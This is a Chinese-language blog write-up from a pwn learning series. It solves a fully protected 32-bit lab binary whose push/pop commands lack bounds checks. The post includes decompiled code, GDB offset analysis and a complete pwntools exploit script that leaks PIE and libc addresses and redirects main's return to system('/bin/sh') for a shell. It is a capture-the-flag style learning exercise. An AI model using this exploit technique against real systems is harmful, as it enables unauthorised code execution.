Pwn学习总结(11):Full-Protection

实验平台:

x86_64, Ubuntu 18.04.5 LTS, Kernel 4.15.0-156-generic
glibc 2.27-3ubuntu1.4, libc6-i386-2.27-3ubuntu1.4

实验Binary及答案:

https://github.com/bjrjk/pwn-learning/tree/main/FullProtection/stack

这道题是到目前为止我做过最复杂的一个Pwn,没有看答案,思路卡住了好几次。

首先用checksec stack检查ELF的安全性:

    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

所有安全措施全部开启,让人非常难办,我们来用IDA看看反编译后的伪代码:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  int v5; // [esp+0h] [ebp-164h] BYREF
  int v6[65]; // [esp+4h] [ebp-160h] BYREF
  char v7[64]; // [esp+108h] [ebp-5Ch] BYREF
  unsigned int v8; // [esp+148h] [ebp-1Ch]
  int *v9; // [esp+158h] [ebp-Ch]

  v9 = &argc;
  v8 = __readgsdword(0x14u);
  memset(v6, 0, sizeof(v6));
  setbuf(stdout, 0);
  puts("This program compiled with: gcc -m32 -Wl,-z,relro,-z,now -fpic -pie -fstack-protector stack.c -o stack");
  puts(
    "Command:\n"
    "    i val    pushval to stack\n"
    "    p       pop from stack\n"
    "    c       clear stack\n"
    "    x       exit program\n"
    "    f       print flag");
  puts("Cmd >>");
  while ( __isoc99_scanf("%s", v7) != -1 )
  {
    switch ( v7[0] )
    {
      case 'c':
        v6[0] = 0;
        puts("Stack is cleared");
        goto LABEL_9;
      case 'f':
        puts("flag");
        goto LABEL_9;
      case 'i':
        __isoc99_scanf("%d", &v5);
        stack_push(v6, v5);
        printf("Push %d to stack\n", v5);
        goto LABEL_9;
      case 'p':
        v3 = stack_pop(v6);
        printf("Pop -> %d\n", v3);
        goto LABEL_9;
      case 'x':
        puts("Bye");
        return 0;
      default:
        puts("Invalid operation");
LABEL_9:
        puts("Cmd >>");
        break;
    }
  }
  return 0;
}
int __cdecl stack_push(_DWORD *a1, int a2)
{
  int result; // eax

  result = (*a1)++;
  a1[result + 1] = a2;
  return result;
}
int __cdecl stack_pop(_DWORD *a1)
{
  --*a1;
  return a1[*a1 + 1];
}

看完这堆伪代码,让人感觉非常欣喜。因为stack_pushstack_pop都没有做边界检查,并且该用户栈直接使用了v6[0]作为栈顶指针。这样的话,我们就可以利用这两处进行任意内存的读写。Python代码如下:

# Python's int is variable-length, so we must transfer them to C-format
def parseInt2Addr(num): 
    return u32(struct.pack("i", num))

def parseAddr2Int(num):
    return unpack("i", p32(num))[0]

def chgtop_stack(p, top):
    p.recvuntil("Cmd >>\n")
    p.sendline("c")
    p.recvuntil("Cmd >>\n")
    p.sendline("p")
    p.recvuntil("Cmd >>\n")
    p.sendline("i %d" % top)

def write_stack(p, shift, value):
    chgtop_stack(p, shift - 1)
    p.recvuntil("Cmd >>\n")
    p.sendline("i %d" % parseAddr2Int(value))

def read_stack(p, shift):
    chgtop_stack(p, shift)
    p.recvuntil("Cmd >>\n")
    p.sendline("p")
    p.recvuntil("Pop -> ")
    s = p.recvuntil("\n")
    return parseInt2Addr(int(s))

def execute(p):
    p.recvuntil("Cmd >>\n")
    p.sendline("x")
    p.recvuntil("Bye\n")

由于从C语言程序中读入和写出的都是4字节数,而Python的int则是不定长的,所以在读入和写出的时候,需要用专门的函数parseInt2AddrparseAddr2Int进行对应的转化。

接下来的步骤就是分别获取程序基址、libc基址和调用system。

因为程序的利用点都在main里面,要去查找程序基址只能看main之前的函数调用是否在栈中留下了返回地址。本来是以为__libc_start_main是静态链接的,其中有对main的调用。这样可以留下__libc_start_main其中汇编的返回地址。后来发现__libc_start_main是动态链接的,这条思路走不通。
后期经过了一番思考,根据gcc的链接相关知识可知,程序的入口点在__start处,于是我发现在__start处存在对__libc_start_main的调用,调用的返回地址偏移为0x5b1。所以,我使用gdb调试,发现这个返回地址压栈位置距离用户栈v6的DWORD偏移量是121,由此可得程序基址为:

program_base = read_stack(p, 121) - 0x5b1

下一步准备泄漏libc基址:
进而计算出各个关键函数地址:

main_sym = elf.sym['main'] + program_base
# In fact, puts_plt is no usage here
puts_plt = elf.plt['puts'] + program_base
puts_got = elf.got['puts'] + program_base

我原本想通过puts函数泄漏puts的GOT表内容,先后迈过两道坎,发现行不通。详细过程分别如下:

首先是计算返回地址的偏移量,根据IDA查看,发现DWORD偏移量为89,于是我就想着依次向89, 90, 91三个位置写入puts_plt, main_sym, puts_got泄漏puts的GOT表内容。结果发现无效,程序竟然正常退出了,也没有报段错误。经过GDB动态调试检查及IDA分析、查阅资料[2]发现,位于.text段的0x73f0x746处三条汇编语句对栈进行了16字节对齐,并把返回地址复制了一份,伪造了一个假的main栈帧头。

这三条汇编语句如下:

.text:0000073F                 lea     ecx, [esp+4]
.text:00000743                 and     esp, 0FFFFFFF0h
.text:00000746                 push    dword ptr [ecx-4]

经GDB分析发现,真的返回地址比假返回地址位置高0x10,也就是多出了4个DWORD的位置。因此我编写了下列代码进行测试:

# A unified shift was applied to original shift to use in main's stack frame
# Because of the compiler's alignment
unified_shift = 4

# Write main retaddr at shift 89 to call puts
write_stack(p, 89 + unified_shift, puts_got)
# Write retaddr of puts at shift 90 back to main
write_stack(p, 90 + unified_shift, main_sym)
# Write arg1 at shift 91 to pass GOT of puts
write_stack(p, 91 + unified_shift, puts_got)
execute(p)
puts_libc = u32(p.recv(4))

执行提示段错误。经过GDB分析,我又发现,开启PIE模式的PLT表与无地址随机化的PLT不同。PIE-enabled PLT使用ebx寄存器存放了GOT的偏移量,因此调用PLT表时,ebx寄存器的值必须保持其应有的值。然而我利用的retn语句是main函数的返回语句,位置在0x916。经实测,ebx寄存器的值已经被毁坏,所以走PLT表这条路是行不通的。

我又想着直接把返回地址写成puts的GOT表地址,但是这样更不对了。[捂脸],测试了一下,这样是把puts的GOT表内容当作指令去执行了,更不对了。

所以,我只能再换一条道路。还是用前面那个任意内存地址读,去计算puts函数的GOT地址与栈上地址的偏移,从而读取GOT的内容,获得libc基址,执行system,但这样又要求我们去获得栈的偏移量了。

经过GDB调试发现,位于偏移0x74e的指令push ecx会把栈上某变量本身的地址addr推到栈里。因此我通过栈上内存读先获取addr,再计算v6的偏移,再计算GOT与v6的差值,从而进行puts的libc地址读取。代码如下:

# Read user stack base by reading ECX pushed to stack at 0x74e
user_stack_base = read_stack(p, 85) - 0x178
# Leak puts_got by using a arbitary memory read
puts_libc = read_stack(p, (puts_got - user_stack_base) / 4)

后面就是常规的libc基址计算、调用system了。在此不再详细说明,直接列出代码:
answer.py

#!/usr/bin/env python2
from pwn import *
from LibcSearcher import *
from struct import pack, unpack
import os, base64, math, time
context(arch = "i386",os = "linux", log_level = "debug")

# Python's int is variable-length, so we must transfer them to C-format
def parseInt2Addr(num): 
    return u32(struct.pack("i", num))

def parseAddr2Int(num):
    return unpack("i", p32(num))[0]

def chgtop_stack(p, top):
    p.recvuntil("Cmd >>\n")
    p.sendline("c")
    p.recvuntil("Cmd >>\n")
    p.sendline("p")
    p.recvuntil("Cmd >>\n")
    p.sendline("i %d" % top)

def write_stack(p, shift, value):
    chgtop_stack(p, shift - 1)
    p.recvuntil("Cmd >>\n")
    p.sendline("i %d" % parseAddr2Int(value))

def read_stack(p, shift):
    chgtop_stack(p, shift)
    p.recvuntil("Cmd >>\n")
    p.sendline("p")
    p.recvuntil("Pop -> ")
    s = p.recvuntil("\n")
    return parseInt2Addr(int(s))

def execute(p):
    p.recvuntil("Cmd >>\n")
    p.sendline("x")
    p.recvuntil("Bye\n")

p = process('./stack')
elf = ELF('./stack')
#gdb.attach(p, "b *(&main+471)") # retn of main

#time.sleep(5)

# Read program base shift from stack retaddr pushed by _start at 0x5ac
program_base = read_stack(p, 121) - 0x5b1
print("Program Base: %s" % hex(program_base))
# Read user stack base by reading ECX pushed to stack at 0x74e
user_stack_base = read_stack(p, 85) - 0x178
print("User Stack Base: %s" % hex(user_stack_base))
main_sym = elf.sym['main'] + program_base
print("Main Symbol: %s" % hex(main_sym))
# In fact, puts_plt is no usage here
puts_plt = elf.plt['puts'] + program_base
print("puts PLT: %s" % hex(puts_plt))
puts_got = elf.got['puts'] + program_base
print("puts GOT: %s" % hex(puts_got))
"""
# Cannot use puts PLT to leak puts GOT there at return of main
# because PIE mode PLT use EBX to store offset but when returning EBX is null

# A unified shift was applied to original shift to use in main's stack frame
# Because of the compiler's alignment
unified_shift = 4

# Write main retaddr at shift 89 to call puts
write_stack(p, 89 + unified_shift, puts_got)
# Write retaddr of puts at shift 90 back to main
write_stack(p, 90 + unified_shift, main_sym)
# Write arg1 at shift 91 to pass GOT of puts
write_stack(p, 91 + unified_shift, puts_got)
execute(p)
puts_libc = u32(p.recv(4))
"""

# Leak puts_got by using a arbitary memory read
puts_libc = read_stack(p, (puts_got - user_stack_base) / 4)
print("puts libc: %s" % hex(puts_libc))

libc = LibcSearcher('puts', puts_libc)
libc_base = puts_libc - libc.dump('puts')
print("base libc: %s" % hex(libc_base))
system_libc = libc_base + libc.dump('system')
print("system libc: %s" % hex(system_libc))
binsh_libc = libc_base + libc.dump('str_bin_sh')
print("/bin/sh libc: %s" % hex(binsh_libc))

# A unified shift was applied to original shift to use in main's stack frame
# Because of the compiler's alignment
unified_shift = 4

# Write main retaddr at shift 89 to call system
write_stack(p, 89 + unified_shift, system_libc)
# Write retaddr of puts at shift 90 back to main
write_stack(p, 90 + unified_shift, main_sym)
# Write arg1 at shift 91 to pass "/bin/sh"
write_stack(p, 91 + unified_shift, binsh_libc)
execute(p)
p.interactive()

GetShell成功:

参考资料:
[1] https://blog.csdn.net/niexinming/article/details/78666941
[2] https://stackoverflow.com/questions/1147623/trying-to-understand-gccs-complicated-stack-alignment-at-the-top-of-main-that-c

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注